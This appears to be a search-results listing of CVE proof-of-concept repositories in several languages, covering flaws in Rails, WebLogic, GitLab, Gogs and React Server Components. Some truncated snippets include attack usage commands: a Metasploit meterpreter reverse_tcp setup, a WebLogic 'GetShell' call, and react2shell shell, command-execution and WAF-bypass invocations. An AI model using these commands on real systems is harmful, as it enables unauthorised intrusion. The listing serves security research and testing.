273876 matches found
rails-PoC-CVE-2016-2098
Una prova di concetto della vulnerabilità: CVE-2016-2098 Progetto universitario creato da @alejandro-marting dove possiamo verificare la vulnerabilità 2096 Utilizzando: rails 4.2.5.1 la view contiene un codice vulnerabile app/views/poc/render1.html.erb !...
CVE-2026-11499
🚨 CVE-2026-11499 Stack-Based Buffer Overflow nei Router Tenda HG7 / HG9 / HG10 📖 Panoramica CVE-2026-11499 è una vulnerabilità di stack-based buffer overflow segnalata che colpisce diversi modelli di router Tenda , tra cui: HG7 HG9 HG10 Un exploit riuscito potrebbe consentire a un attaccante di...
CVE-2025-8110
Exploit RCE di Gogs CVE-2025-8110 Proof of Concept per CVE-2025-8110 - Esecuzione di codice remoto in Gogs tramite bypass di symlink e iniezione di sshCommand. Descrizione Questo exploit abusa di un bypass di symlink nell'API di Gogs per sovrascrivere .git/config e iniettare un sshCommand malevol...
CVE-2020-26217
Descrizione XStream può essere utilizzato per l'esecuzione di codice remoto Versione interessata Xstream com.thoughtworks.xstream xstream 1.4.13 Come utilizzare root@kitploit: 0 text/plain 0 -1 1...
CVE-2021-42669
CVE-2021-42669 CVE-2021-42669 - Esecuzione di codice in remoto tramite vulnerabilità di upload di file senza restrizioni nel sistema del portale online degli ingegneri. Descrizione tecnica: Esiste una vulnerabilità di upload di file senza restrizioni nel sistema del portale online degli ingegneri...
CVE-2021-22205
CVE-2021-22205 - Esecuzione di codice in remoto non autenticata su GitLab CVE-2021-22205 è una vulnerabilità critica di Esecuzione di Codice in Remoto RCE che colpisce GitLab Community Edition CE e Enterprise Edition EE. La vulnerabilità ha origine da una validazione impropria dei file immagine...
CVE-2025-50881
CVE-2025-50881: Remote Code Execution in API Use it Flow über moniteur.php Identifier: CVE-2025-50881 Betroffenes Produkt: API Use it Flow Version 8.2.0 Rev 15851, Version 9.2.0 Rev 18093 Herausgeber: https://www.tenorsolutions.com ehemals https://api-sas.fr/ Betroffene Komponenten:...
CVE-2026-12485
🚨 CVE-2026-12485 - Kritische, nicht authentifizierte Remote-Codeausführung RCE GeoVision GV-I/O Box 4E – Firmware v2.09 Offenlegungsdatum: 23. Juni 2026 CWE: CWE-121 – Stapelbasierter Pufferüberlauf Angriffsvektor: Netzwerk nicht authentifiziert Eine nicht authentifizierte Schwachstelle in Form...
CVE-2018-2628
Test per vulnerabilità Caricamento shell Metodo 1: Metodo 2: Esecuzione shell Ottenere meterpreter root@kitploit: msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp...
CVE-2017-3506
Cos'è questo? Questo è un proof of concept per CVE-2017-3506 serializzazione XMLDecoder di Weblogic Come usarlo? controllo vulnerabilità root@kitploit: java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 GetShell root@kitploit: java -jar WebLogic-XMLDecoder.jar -s...
CVE-2025-55182
👻 Exploit Go per CVE-2025-55182 Strumento interattivo per l'exploit RCE di CVE-2025-55182 React Server Components 🎯 Cos'è? CVE-2025-55182 è uno strumento minimale e interattivo per l'exploit RCE che prende di mira CVE-2025-55182 , una vulnerabilità critica nei React Server Components RSC che...
CVE-2025-55182-POC
CVE-2025-55182-POC React2Shell POC Utilizzo: root@kitploit: sudo python3 hehe.py -t -c Esempio: root@kitploit: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | |...
Next.js-RCE-CVE-2025-55182
🔍 Next.js Sicherheits-Test-Tool Professionelles Sicherheitsbewertungs-Tool für Next.js-Anwendungen ⚠️ Haftungsausschluss Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bestimmt. ✅ Nur auf Systemen verwenden, die Sie besitzen oder für die Sie eine ausdrücklich...
CVE-2025-55184
React2Shell PoC Este repositório fornece um ambiente mínimo intencionalmente vulnerável para testar scanners de segurança contra a recente vulnerabilidade crítica de RCE React2Shell que afeta React Server Components e Next.js. CVE-2025-55182 : Existe uma vulnerabilidade de execução remota de códi...
CVE-2025-55182
CVE-2025-55182.yaml PoC per CVE-2025-55182 nuclei -target url -t CVE-2025-55182.yaml 根据nuclei-template改造而来 核心代码： root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...
MassExploit-CVE-2025-55182
CVE-2025-55182 – Scanner Massivo PoC CVE-2025-55182 noto anche come “React2Shell” è una vulnerabilità critica di Remote Code Execution RCE nel sistema dei React Server Components RSC. Il problema si verifica perché il meccanismo di deserializzazione del payload HTTP per le “Server Functions”...
CVE-2025-55182-PoC
React2Shell CVE-2025-55182 PoC Uso root@kitploit: Interactive shell ./react2shell -u http://target:3000 Single command ./react2shell -u http://target:3000 -c "id" WAF bypass 128KB junk data ./react2shell -u http://target:3000 -waf 128 Compilazione root@kitploit: go build -o react2shell . Opzioni...
rust-cve-2025-55182-scanner
Scanner CVE-2025-55182 Rust Um scanner de vulnerabilidades de alto desempenho e concorrente escrito em Rust para detectar CVE-2025-55182 Next.js Server Actions RCE em vários alvos. 🚀 Funcionalidades ⚡ Implementação Rust de alto desempenho 🧵 Mecanismo de varredura multithread ⏱ Sistema ajustável d...
CVE-2020-0796
CVE-2020-0796 Scanner = https://github.com/ButrintKomoni/cve-2020-0796 POC di overflow remoto = https://github.com/jiansiting/CVE-2020-0796 SMBGhostRCEPoC = https://github.com/chompie1337/SMBGhostRCEPoC...